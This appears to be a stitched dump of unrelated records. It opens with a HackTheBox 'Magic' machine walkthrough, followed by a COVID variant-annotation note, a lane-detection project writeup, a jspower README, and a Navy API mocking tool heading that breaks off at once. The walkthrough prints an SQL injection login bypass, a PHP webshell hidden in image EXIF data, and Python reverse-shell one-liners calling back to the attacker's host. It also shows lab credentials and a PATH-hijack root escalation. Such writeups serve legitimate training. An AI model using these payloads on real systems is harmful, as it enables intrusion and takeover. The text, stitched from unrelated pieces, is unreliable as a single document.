text:
---
title: Magic Machine Writeup- HackTheBox
author: 4m0r
date: 2020-08-05 23:30:00 +0530
excerpt: A linux box from HackTheBox- gained foothold by a combination of SQL injection and by injecting PHP code into
         uploaded image and rooted by hijacking bash binary. This is an active machine, so I highly recommend that you
         try a bit harder before heading inside.
thumbnail: /assets/img/posts/magic/info.png
categories: [HackTheBox, Machine]
tags: [linux, PHP Code Injection, Bludit, sudo]
---

![Info](/assets/img/posts/magic/info.png)

# Methodology
1. Open Ports Enumeration
2. Web Service Enumeration
3. SQL Injection vulnerability identified on *login.php*
4. Initial Foothold gained with PHP code injected image upload
5. Database password identified
6. Elevated to *user* with database password
7. Uncommon SUID binary identified
8. Root shell gained through *binary hijacking*

# Lessons Learned
1. SQL Injection
2. PHP code injection into image files
3. Bash binary hijacking

# Open Ports Enumeration
The open ports enumeration of the target[^f1] had identified two open services namely **SSH** (22) and **HTTP** (80).
The scan had not identified any known vulnerabilities or useful information. The scan results are given on the section
below.

```
[_4m0r@manjaro Magic]$ targetRecon <IP_ADDRESS>
[+] Open Ports Scan
        22      ssh
        80      http
[+] Scripts Scan
                 nmap -sV -A --script=default,vuln -p 22 <IP_ADDRESS>

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-05 18:59 IST
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     <IP_ADDRESS>
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for <IP_ADDRESS> (<IP_ADDRESS>)
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| ssh-hostkey:
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.96 seconds

                 nmap -sV -A --script=default,vuln -p 80 <IP_ADDRESS>

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-05 19:00 IST
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     <IP_ADDRESS>
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for <IP_ADDRESS> (<IP_ADDRESS>)
Host is up (0.35s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags:
|   /login.php:
|     PHPSESSID:
|_      httponly flag not set
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=<IP_ADDRESS>
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://<IP_ADDRESS>:80/login.php
|     Form id: login-form
|_    Form action:
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_  /login.php: Possible admin folder
| http-fileupload-exploiter:
|
|     Couldn't find a file-type field.
|
|_    Couldn't find a file-type field.
| http-internal-ip-disclosure:
|_  Internal IP Leaked: <IP_ADDRESS>
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: Magic Portfolio
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners:
|   cpe:/a:apache:http_server:2.4.29:
|       CVE-2019-0211   7.2     https://vulners.com/cve/CVE-2019-0211
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8     https://vulners.com/cve/CVE-2017-15715
|       CVE-2019-10082  6.4     https://vulners.com/cve/CVE-2019-10082
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2020-1927   5.8     https://vulners.com/cve/CVE-2020-1927
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2020-1934   5.0     https://vulners.com/cve/CVE-2020-1934
|       CVE-2019-10081  5.0     https://vulners.com/cve/CVE-2019-10081
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2019-0196   5.0     https://vulners.com/cve/CVE-2019-0196
|       CVE-2018-17199  5.0     https://vulners.com/cve/CVE-2018-17199
|       CVE-2018-1333   5.0     https://vulners.com/cve/CVE-2018-1333
|       CVE-2017-15710  5.0     https://vulners.com/cve/CVE-2017-15710
|       CVE-2019-0197   4.9     https://vulners.com/cve/CVE-2019-0197
|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
|       CVE-2018-11763  4.3     https://vulners.com/cve/CVE-2018-11763
|_      CVE-2018-1283   3.5     https://vulners.com/cve/CVE-2018-1283

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.13 seconds

[+] Summary
22      ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
                No vuln found
80      http    Apache httpd 2.4.29
                No vuln found

```

# Web Service Enumeration
Browsing to [http://<IP_ADDRESS>](http://<IP_ADDRESS>), had revealed a portfolio page of images, with a hyperlink to
[login.php](http://<IP_ADDRESS>/login.php) at the bottom. Checking for the images' info had revealed the location of
these images to be [http://<IP_ADDRESS>/images/uploads/](http://<IP_ADDRESS>/images/uploads/), that had returned a *403
Forbidden* error. Checking the source-code of *login.php* had offered no vital clue about the credentials, and so, I
moved on to *SQL Injection*.

# SQL Injection
Checking for SQL injection on the login form through browser had seemed impossible, as the JS did not allow for typing
in spaces. Therefore, *BurpSuite* was fired up and the login request was captured. The username and password fields were
edited to inject SQL as ```username=admin' or 1=1;#&password=admin``` and the final request that had been passed onto
the target is shown on the section given below.
```shell
POST /login.php HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://<IP_ADDRESS>
Connection: close
Referer: http://<IP_ADDRESS>/login.php
Cookie: PHPSESSID=uvlaujlhtvvc6jtl1cgg6r0qin
Upgrade-Insecure-Requests: 1

username=admin' or 1=1;#&password=admin
```
The injection had worked, resulting in a successful login and redirection to
[http://<IP_ADDRESS>/upload.php](http://<IP_ADDRESS>/upload.php).

# User Shell
## Initial Foothold
The page that had been presented, upon login, had an interface to upload images. Changing the extension of a PHP reverse
shell to png did not work as there are some checks employed on the server side. Google-Fu on ways to upload shells
through images had led to **exiftool**[^f2]. A PHP code can be injected into an image file by adding a new-tag
containing the PHP code into the EXIF data of the image[^f3].
A PHP code that executes commands on the target was injected into an image file (command.png), using *exiftool* as
```exiftool -Comment='<?php system($_REQUEST['cmd']); ?>' command.png```. The file was then renamed as
**command.php.png** and uploaded onto target.
```shell
[_4m0r@manjaro Magic]$ exiftool -Comment='<?php system($_REQUEST['cmd']); ?>' command.png
    1 image files updated
[_4m0r@manjaro Magic]$ mv command.png command.php.png
[_4m0r@manjaro Magic]$ l
total 132
drwxr-xr-x 2 _4m0r _4m0r  4096 Aug  5 19:00 NmapXml
-rw-r--r-- 1 _4m0r _4m0r  3870 Aug  5 19:02 recon.log
-rw-r--r-- 1 _4m0r _4m0r  6411 Aug  5 20:56 reverse.png
-rw-r--r-- 1 _4m0r _4m0r 57317 Aug  5 20:58 command.png_original
-rw-r--r-- 1 _4m0r _4m0r 57369 Aug  5 20:58 command.php.png
```
Since the location of the image files had been already identified in the Web Service Enumeration section,
commands were executed on the target by visiting the url along with the command in the **cmd** parameter.
```shell
view-source:http://<IP_ADDRESS>/images/uploads/command.php.png?cmd=id
---SNIP---
(tEXtCommentuid=33(www-data) gid=33(www-data) groups=33(www-data)
---SNIP---
```
The reverse shells presented on **pentestmonkey**[^f4] were tried to get a reverse shell and the one had that worked was
a *python reverse shell*. The final URL that had sent the reverse shell port to 9095 of the attacking host is given
below.
```html
http://<IP_ADDRESS>/images/uploads/command.php.png?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2<IP_ADDRESS>%22,9095));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
```
Upon visiting the URL a reverse shell had been received on the netcat listener, on the attacking host from the user
**www-data**. However, the user had no access to the *user.txt* file on */home/theseus*.
```shell
[_4m0r@manjaro Magic]$ nc -nvlp 9095
Connection from <IP_ADDRESS>:32840
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash');"
www-data@ubuntu:/var/www/Magic/images/uploads$
```
> Note that in both the URL and the reverse shell, the python binary that had been used was **python3**. The binary
> *python*  will not work.

## Elevating to *theseus*
Upon enumeration, a *PHP5* file, presumably a database file, had been found on */var/www/Magic* and the contents of the
same is given on the section below.
```php
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';
---SNIP---
```
The database password for the user **theseus** had been identified from the file. Trying to switch the session to *theseus*
using **su** had failed, as the user's not into reusing their password (good security practice). As the *mysql* binary
was not found on the target, the next best option, **mysqldump** had been used to dump the database- **Magic** as
follows.
```shell
www-data@ubuntu:/home$ mysqldump -B Magic -u theseus -p
mysqldump -B Magic -u theseus -p
Enter password: iamkingtheseus

-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost    Database: Magic
-- ------------------------------------------------------
-- Server version       5.7.29-0ubuntu<IP_ADDRESS>
---SNIP---
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
mysqldump: Got error: 1044: Access denied for user 'theseus'@'localhost' to database 'iamkingtheseus' when selecting the database
```
A new password, **Th3s3usW4sK1ng** had been identified from the dump, and switching to the user *theseus* had succeeded,
through which the user flag had been read.
```shell
www-data@ubuntu:/home$ su theseus
su theseus
Password: Th3s3usW4sK1ng

theseus@ubuntu:/home$ cd theseus
cd theseus
theseus@ubuntu:~$ id
id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)
theseus@ubuntu:~$ cat user.txt
cat user.txt
b9029---REDACTED---acf14
```
![User Shell](/assets/img/posts/magic/user.png)

# Root Shell
Enumerating with the shell, for privilege escalation had revealed that the user had no *sudo* permissions to execute
something. However, checking for **SUID** binaries with *find* as ```find / -perm -4000 -type f 2>/dev/null```
had revealed an interesting binary, **/bin/sysinfo**.
```shell
theseus@ubuntu:~$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/passwd
---SNIP---
/bin/umount
/bin/fusermount
/bin/sysinfo
/bin/mount
/bin/su
/bin/ping
```
Unlike the other binaries, *sysinfo* is not a common binary. Running **strings** on the binary had revealed that the
binary executes four other binaries, namely **lshw**, **fdisk**, **cat** and **free**. The same is shown on the section
given below.
```shell
theseus@ubuntu:~$ strings /bin/sysinfo
strings /bin/sysinfo
/lib64/ld-linux-x86-64.so.2
libstdc++.so.6
---SNIP
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
---SNIP---
```
This meant, as the binary */bin/sysinfo* has **SUID** permissions set, these four binaries also get
executed with elevated privileges. Therefore, privilege can be elevated by hijacking any and all of these binaries.
<br>
The idea is that, duplicates of any or all of these binaries binaries are to be created and when the *sysinfo* binary
is executed with the current directory prefixed to **PATH** environment variable, these duplicates get executed instead.
To that effect, two duplicate binaries- **fdisk** and **free** had been created under the directory
*/home/theseus/tmp* with the following content.
```bash
theseus@ubuntu:~/tmp$ echo "cat /root/root.txt" > fdisk
echo "cat /root/root.txt" > fdisk
theseus@ubuntu:~/tmp$ echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<IP_ADDRESS>\",9090));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > free
<);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > free
theseus@ubuntu:~/tmp$ cat fdisk
cat fdisk
cat /root/root.txt
theseus@ubuntu:~/tmp$ cat free
cat free
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_ADDRESS>",9090));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2
(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```
As seen, the duplicate **fdisk** will print the contents of */root/root.txt* and the duplicate **free** will send a
reverse shell to port *9090* of the attacking host. Both had been given executable permissions and the sysinfo binary
was executed as ```PATH=.:$PATH /bin/sysinfo ```. This had resulted in printing the root flag on the terminal when fdisk
gets executed and a reverse shell on the netcat listener when free gets executed. The same is shown on the section below.
```shell
theseus@ubuntu:~/tmp$ chmod +x *
chmod +x *
theseus@ubuntu:~/tmp$ l
l
total 16
drwxrwxr-x  2 theseus theseus 4096 Aug  5 09:50 .
drwxr-xr-x 16 theseus theseus 4096 Aug  5 09:46 ..
-rwxrwxr-x  1 theseus theseus   19 Aug  5 09:49 fdisk
-rwxrwxr-x  1 theseus theseus  230 Aug  5 09:50 free
theseus@ubuntu:~/tmp$ PATH=.:$PATH /bin/sysinfo
PATH=.:$PATH /bin/sysinfo
====================Hardware Info====================
H/W path           Device      Class      Description
=====================================================
                               system     VMware Virtual Platform
/0                             bus        440BX Desktop Reference Platform
---SNIP---
/0/46/0.0.0        /dev/cdrom  disk       VMware IDE CDR00
/1                             system

====================Disk Info====================
c1b5d---REDACTED---bbab6

====================CPU Info====================
processor       : 0
---SNIP---

====================MEM Usage=====================

---ATTACKING HOST---
[_4m0r@manjaro Magic]$ nc -nvlp 9090
Connection from <IP_ADDRESS>:37062
# python3 -c "import pty;pty.spawn('/bin/bash');"
root@ubuntu:~/tmp# cd /root
cd /root
root@ubuntu:/root# id
id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
root@ubuntu:/root# cat root.txt
cat root.txt
c1b5d---REDACTED---bbab6
```
![Root Shell](/assets/img/posts/magic/root.png)

# Resources
[^f1]:[targetRecon](https://github.com/4m0r/targetRecon)
[^f2]:[exiftool](https://exiftool.org/install.html)
[^f3]:[A Silent Threat- PHP in EXIF](https://websec.io/2012/09/05/A-Silent-Threat-PHP-in-EXIF.html)
[^f4]:[pentestmonkey- Reverse Shell Cheat Sheet](http://pentestmonkey.net/category/cheat-sheet)


text:
# General idea

Annotating the VCF file with variants using [snpEff](https://pcingola.github.io/SnpEff/), with the following command:
```
java -Xmx8g -jar snpEff.jar NC_045512.2 variants.vcf.gz | gzip > annotated_variants.vcf.gz
```

Second idea, is to take the consensus files after applied the variants to them and check if these variants have affected the proteins and in what way.
The consensus sequence can be made with `bcftools` easily with this command:
```
cat reference.fasta | bcftools consensus variants.vcf.gz > consesnus_sequences.fasta
```

Then taking this output, I can annotate it using a viral annotation tool like [VAPiD](https://github.com/rcs333/VAPiD), and instead of using a big database, we know that we're working with covid-19 genome, so we can give VAPiD the argument `--r NC_045512.2` to use this as reference. VAPiD will produce several files and one of theme is a gene bank file, this can easily then be parsed and the proteins separated. We can also add an identifier to each protein to know from which consesus file it came from.

Next step would be running an MSA algorithm on the same protein (using clustalo or clustalw for example). Then using my MSA to GFA tool, we can generate graphs with bubbles representing the amino acids that were affecteced.
Command for clustalo:
```
clustalo -i proteins.fasta -o msa_proteins.aln --threads 10 --distmat-out=distance_matrix.mat --force --full --percent-id
```

# Goal
Generating graphs from amino acids can be useful as well, for example, looking at the annotated paths, we can see if there's an equal distribution between the branches of one of the bubbles or we see that predominantly one branch has more samples going through it that others. We can associate these bubbles with certain phenotypes or secondary protein structures, e.g. do these amino acid changes affect the folding of the protin or the binding sites. And these graph can be aligned to with using Partial Order Alignment algorithm, so for new samples and new proteins, we can simply align to these graphs and see which path the new protein took.

![Example graph of covid protein QHD43422.1 affected by several variants](fig1.png)
Figure1: Example graph of covid protein QHD43422.1 affected by several variants

Workflow
![Workflow example](wokflow.png)

license: MIT

branch_name: refs/heads/main

extension: md

gha_license_id: MIT

license_type: permissive


text:
## Advanced Lane Finding Project

The goals / steps of this project are the following:

* Compute the camera calibration matrix and distortion coefficients given a set of chessboard images.
* Apply a distortion correction to raw images.
* Use color transforms, gradients, etc., to create a thresholded binary image.
* Apply a perspective transform to rectify binary image ("birds-eye view").
* Detect lane pixels and fit to find the lane boundary.
* Determine the curvature of the lane and vehicle position with respect to center.
* Warp the detected lane boundaries back onto the original image.
* Output visual display of the lane boundaries and numerical estimation of lane curvature and vehicle position.

---
## First, I'll compute the camera calibration using chessboard images

There are three image is white out, because it's unrecognizable.
![png](output_1_0.png)

# Use distortion coeffient and camera matrix to undistort image

```python
testImg_undistort = cv2.undistort(testImg, mtx, dist, None, mtx)
```
![png](output_5_1.png)

# birds-eye view:
### 1. use cv2.getPerspectiveTransform() to get M the transform matrix
### 2. use cv2.warpPerspective() to warp your image to a birds-eye view

```python
M = cv2.getPerspectiveTransform(src, dst)
warped = cv2.warpPerspective(img, M, (w,h), flags=cv2.INTER_LINEAR)
```
![png](output_7_1.png)

# color transforms
### Use cv2.cvtColor(testImg_unwarp, cv2.COLOR_RGB2HLS) covert image to HLS
### Had converted image to RGB form BGR before, so do COLOR_RGB2HLS

```python
testeImg_unwarp_HLS = cv2.cvtColor(testImg_unwarp, cv2.COLOR_RGB2HLS)
```
![png](output_9_1.png)

# Gradients

### Create a method abs_sobel_thresh() and use cv2.Sobel () to converted image to gradients
### cv2.Sobel () can choose orientation we want, use x orientation as default because lane line is reach y-axis

```python
def abs_sobel_thresh(img, orient='x', thresh_min=255, thresh_max=255):
    # Apply the following steps to img
    # 1) Convert to grayscale === or LAB L channel
    gray = (cv2.cvtColor(img, cv2.COLOR_RGB2GRAY))
    # 2) Take the derivative in x or y given orient = 'x' or 'y'
    sobel = cv2.Sobel(gray, cv2.CV_64F, orient=='x', orient=='y')
    # 3) Take the absolute value of the derivative or gradient
    abs_sobel = np.absolute(sobel)
    # 4) Scale to 8-bit (0 - 255) then convert to type = np.uint8
    scaled_sobel = np.uint8(255*abs_sobel/np.max(abs_sobel))
    # 5) Create a mask of 1's where the scaled gradient magnitude
            # is > thresh_min and < thresh_max
    sxbinary = np.zeros_like(scaled_sobel)
    sxbinary[(scaled_sobel >= thresh_min) & (scaled_sobel <= thresh_max)] = 1
    # 6) Return this mask as your binary_output image
    binary_output = sxbinary
    return binary_output
```
![png](output_12_1.png)

I had use direction threshold but it's not good for lane detection so I give it up.
```python
testImg_sobelMag2 = mag_thresh(testImg_unwarp, 7, (10, 20))
tesImg_sobelDir2 = dir_thresh(testImg_unwarp, 7, (0.25, 0.65))
combined = np.zeros_like(testImg_sobelMag2)
combined[((testImg_sobelMag2 == 1) & (tesImg_sobelDir2 == 1))] = 1
# Visualize sobel magnitude + direction threshold
f, (ax1, ax2) = plt.subplots(1, 2, figsize=(20,10))
f.subplots_adjust(hspace = .2, wspace=.05)
ax1.imshow(testImg_unwarp)
ax1.set_title('Unwarped Image', fontsize=30)
ax2.imshow(combined, cmap='gray')
ax2.set_title('Sobel Magnitude + Direction', fontsize=30)
```
![png](output_17_1.png)

# Use color transforms and gradients to create a thresholded binary image.And wrap it as LaneDetectAdv()

```python
def LaneDetectAdv(img):
    # Undistort
    img_undistort = cv2.undistort(img, mtx, dist, None, mtx)

    # Perspective Transform
    img_unwarp, M, Minv = unwarp(img_undistort, src, dst)

    # Sobel Magnitude
    img_sobelMag = mag_thresh(img_unwarp, 7, (2, 80))

    # Sobel Absolute
    img_sobelAbs = abs_sobel_thresh(img_unwarp, 'x', 20, 65)

    # Sobel Direction
    img_sobelDir = dir_thresh(img_unwarp, 7, (0.25, 0.65))

    # HLS S-channel Threshold
    img_S_Thresh = hls_S_thresh(img_unwarp, (35, 255))

    # Combine HLS and sobel absolution
    combined = np.zeros_like(img_S_Thresh)
    combined[((img_sobelAbs==1) & (img_S_Thresh == 1))] = 1
    return combined, Minv
```

![png](output_22_0.png)

# fit their positions with a polynomial
### 1. Find none zero pixel as candidate after LaneDetectAdv() method
### 2. Average none zero pixel's position in recenter as next average position
### 3. Put candidate pixel to fit a second order polynomial, use np.polyfit()

![png](output_25_1.png)
![png](output_26_1.png)

# Calculate Radius of Curvature and Center Distance

Formula :
![png](Formula.png)

```python
def calc_curv_rad_and_center_dist(bin_img, l_fit, r_fit, l_lane_inds, r_lane_inds):
    # Define conversions in x and y from pixels space to meters
    ym_per_pix = 3.048/100
    xm_per_pix = 3.7/378
    left_curverad, right_curverad, center_dist = (0, 0, 0)
    # Define y-value where we want radius of curvature
    # I'll choose the maximum y-value, corresponding to the bottom of the image
    h = bin_img.shape[0]
    ploty = np.linspace(0, h-1, h)
    y_eval = np.max(ploty)

    # Identify the x and y positions of all nonzero pixels in the image
    nonzero = bin_img.nonzero()
    nonzeroy = np.array(nonzero[0])
    nonzerox = np.array(nonzero[1])
    # Again, extract left and right line pixel positions
    leftx = nonzerox[l_lane_inds]
    lefty = nonzeroy[l_lane_inds]
    rightx = nonzerox[r_lane_inds]
    righty = nonzeroy[r_lane_inds]

    if len(leftx) is not 0 and len(rightx) is not 0:
        # Fit new polynomials to x,y in world space
        left_fit_cr = np.polyfit(lefty*ym_per_pix, leftx*xm_per_pix, 2)
        right_fit_cr = np.polyfit(righty*ym_per_pix, rightx*xm_per_pix, 2)
        # Calculate the new radii of curvature
        left_curverad = ((1 + (2*left_fit_cr[0]*y_eval*ym_per_pix + left_fit_cr[1])**2)**1.5) / np.absolute(2*left_fit_cr[0])
        right_curverad = ((1 + (2*right_fit_cr[0]*y_eval*ym_per_pix + right_fit_cr[1])**2)**1.5) / np.absolute(2*right_fit_cr[0])
        # Now our radius of curvature is in meters

    # Distance from center is image x midpoint - mean of l_fit and r_fit intercepts
    if r_fit is not None and l_fit is not None:
        car_position = bin_img.shape[1]/2
        l_fit_x_int = l_fit[0]*h**2 + l_fit[1]*h + l_fit[2]
        r_fit_x_int = r_fit[0]*h**2 + r_fit[1]*h + r_fit[2]
        lane_center_position = (r_fit_x_int + l_fit_x_int) /2
        center_dist = (car_position - lane_center_position) * xm_per_pix
    return left_curverad, right_curverad, center_dist
```
![png](output_34_1.png)

```python
def draw_data(original_img, curv_rad, center_dist):
    new_img = np.copy(original_img)
    h = new_img.shape[0]
    font = cv2.FONT_HERSHEY_SIMPLEX
    text = 'Curve radius: ' + '{:04.2f}'.format(curv_rad) + 'm'
    cv2.putText(new_img, text, (200,70), font, 2.5, (0,255,255), 2, cv2.LINE_AA)
    direction = ''
    if center_dist > 0:
        direction = 'right'
    elif center_dist < 0:
        direction = 'left'
    abs_center_dist = abs(center_dist)
    text = '{:04.3f}'.format(abs_center_dist) + 'm ' + direction + ' of center'
    cv2.putText(new_img, text, (200,160), font, 2.5, (0,255,255), 2, cv2.LINE_AA)
    return new_img
```

![png](output_36_1.png)

[![Watch the final result video]](https://youtu.be/2jHD5qOYyqU)

# Discussion

My way is not good for more challenge case, because S-channel threshold is badly when image is blur, it will lose some lane line information. But after birds-eye view process, my further view will get blur result. I need to find some better way to do binarization.

branch_name: refs/heads/master


text:
# jspower
A javascript power interface

![Interface](https://richarddmorey.github.io/jspower/img/jspower.gif)

This project implements power analyses in javscript. Eventually, this will also be wrapped in an R package using {[V8](https://cran.r-project.org/web/packages/V8/index.html)}.

The underlying philosophy is:

* To encourage thinking about power *curves* rather than power *values*,
* To encourage thinking about power as a function of the *design* and *test*,
* To encourage *interactive* power/design thinking, and
* To build functions that will be useful for deploying design analyses on the web (see https://richarddmorey.github.io/jspower-site/).

See ["Power and precision"](https://medium.com/@richarddmorey/power-and-precision-47f644ddea5e?source=friends_link&sk=20a7fd66048b5ead68050b791ebbf79b) and ["Why you shouldn't say 'this study is underpowered'"](https://towardsdatascience.com/why-you-shouldnt-say-this-study-is-underpowered-627f002ddf35?source=friends_link&sk=8f150607a87bd81b879434a02b92c7e4) for more on the philosophy of power analysis underlying the development.

To this end, the functions will be based around methods of a design/test pairing. A design/test object can be changed and queried to perform a power analysis.

This is in a very early stage of development. Here's how to try it:

1. Install [node.js](https://nodejs.org/en/) on your system (if you're running MacOS or Linux you may already have it)
2. Make a new folder in which to work, and open a new terminal
3. Install the package:
```
npm i git+https://github.com/richarddmorey/jspower.git
```
4. Start `node` in that folder
4. Type the following:

```
// Grab the constructor for ttest power objects
const ttest2_pwr = require('jspower').ttest2_pwr;
var t = new ttest2_pwr();
```

The object `t` is now a design/test object with some default values. To query it, use `design_report()`:
```
t.design_report();
```
which should output:

```
{
  test: { es0: 0, side: 1, alpha: 0.025, criterion: 1.9615076174957067 },
  design: { n1: 770, n2: 770, ntotal: 1540, ratio: 1 },
  curve: {
    point: { es: 0.1999029246788231, power: 0.975 },
    es50: 0.0999514293350958,
    es1mAlpha: 0.1999029246788231,
    typeS: 2.052704117794239e-9
  },
  precision_2alpha: 0.1999029246788231
}
```

For a description of all the elements of the design report, see the section below.

Now, we can change the design to see how the sensitivity changes:

```
t.n1 = 150
```
The `nratio` is set to 1 by default, so this will also set `n2`. Note how the design report changes (`t.design_report()`):
```
{
  test: { es0: 0, side: 1, alpha: 0.025, criterion: 1.96795650649682 },
  design: { n1: 150, n2: 150, ntotal: 300, ratio: 1 },
  curve: {
    point: { es: 0.1999029246788231, power: 0.4073631282731639 },
    es50: 0.2270490751101992,
    es1mAlpha: 0.4541012927113137,
    typeS: 0.00011407515462524834
  },
  precision_2alpha: 0.4541012927113137
}
```
The new point on the power curve under `curve.point` is the one with the same effect size as was set before. The power at that effect size has dropped from .975 to about .41. By default, the new `curve.point` will have the same power. To fix the power instead (and let the effect size change) set the option `fix_es` to `false`:

```
t.options.fix_es = false
```

Now changing the design will power fixed and the effect size will change.

## Other functions

### `t.find_n()`

Finds sample sizes for an array of curve values (given by objects), given the defined test:

```
t.find_n([{es: 1, power: .9}]);
// Returns [ 22 ]
```

### `t.find_es()`

Finds effect sizes for an array of power values, given the defined test and design:

```
t.find_es([.6,.9]);
// Returns [ 0.2563979197369567, 0.3755101746821198 ]
```

### `t.find_power()`

Finds power for an array of effect sizes, given the defined test and design:

```
t.find_power([.2,.4]);
// Returns [ 0.40768841290143554, 0.9322751597343004 ]
```

### `t.density()`

Yields the density (or cumulative density) of the sampling distribution for either the test statistic (t) or observed effect size (d) for a given true effect size:

```
t.density([0,.5], 1)
// Returns [ 1.7866245026413097e-16, 0.0003904513212928331 ]
```

### `t.quantile()`

Yields the quantile function of the sampling distribution for either the test statistic (t) or observed effect size (d) for a given true effect size:

```
t.quantile([.25,.5,.75], .1)
// Returns [ 0.19167561817629775, 0.8667525446561228, 1.5431551328239692 ]
```

## Elements of the design report

| Element | Description | Example for how to change | Note |
|---------|-------------|--------------|-----|
| id      | A name for the object  |  `t.id = "Analysis 1"`    | |
| test    | Parameters of the (one-sided) test | `t.test = {}` | |
| test.es0| Null effect size |  `t.test = {es0: .2}` | |
| test.side| Side of alternative (-1: "less", 1: greater) | `t.test = {side: -1}` | |
| test.alpha| alpha level for test  | `t.test = {alpha: .05}` | |
| test.criterion | Criterion on t statistic for significance | NA | |
| test.es_type | The parameter indexing true effect size | NA | |
| test.criterion_on | The test statistic | NA | |
| design   | Design parameters | NA | |
| design.n1 | Sample size for reference group | `t.n1 = 150` | |
| design.n2 | Sample size for second group| `t.n2 = 100` | If you change this directly, `n2` will be fixed as `n1` changes until you change `nratio` explicitly |
| design.ratio| Sample size ratio `n2/n1` | `t.nratio = 2` | If you change this directly, `n2` will change as `n1` changes, until you change `n2` explicitly |
| curve | Values on the power curve | `t.curve = {es: .5, power: .8}` | If you change this, the design parameters (sample sizes) will change.
| curve.point | A given point on the power curve | `t.es = .5` or `t.power = .75` | If you change only one of these, the design will not change. Instead, a new point on the same curve will be reported. |
| curve.es50 | The effect size where power is 50% | `t.es50 = .5` | Changing this will change the design parameters (sample sizes). |
| curve.es1mAlpha | The "counternull" where power is 1-alpha. | `t.es1mAlpha = 1` |Changing this will change the design parameters (sample sizes). |
| curve.typeS | The probability of a sign error at level alpha (that is, s "significant" effect going in the wrong direction) given the effect size and design. | NA | |
| precision_2alpha | The width of the 1-2alpha confidence interval when p=alpha| `t.precision_2alpha = .8` | Changing this will change the design parameters (sample sizes). |

## Elements of the options object

| Element | Description | Example for how to change | Note |
|---------|-------------|--------------|-----|
| fix_es  | (`true`/`false`) Whether to fix the effect size when the design changes | `t.options.fix_es = false` | `true` by default. |
| fix_n2  | (`true`/`false`) Whether to fix `n2` as `n1` changes |  `t.options.fix_n2 = false` | By default, the ratio of `n2/n1` is fixed by `nratio`, so `n2` will change with `n1`. Setting this option to `true` will fix `n2` instead. Changing `n2` explicitly automatically sets this to `true`; changing `nratio` explicitly automatically sets this to `false`.|

The other options mostly govern the precision/speed of optimization and should not be changed by users.

repository: richarddmorey/jspower

repo_name: richarddmorey/jspower


text:
# Navy Digital Data Platform API Mocking Tool

## What is the Navy Digital Data Platform API Mocking Tool?
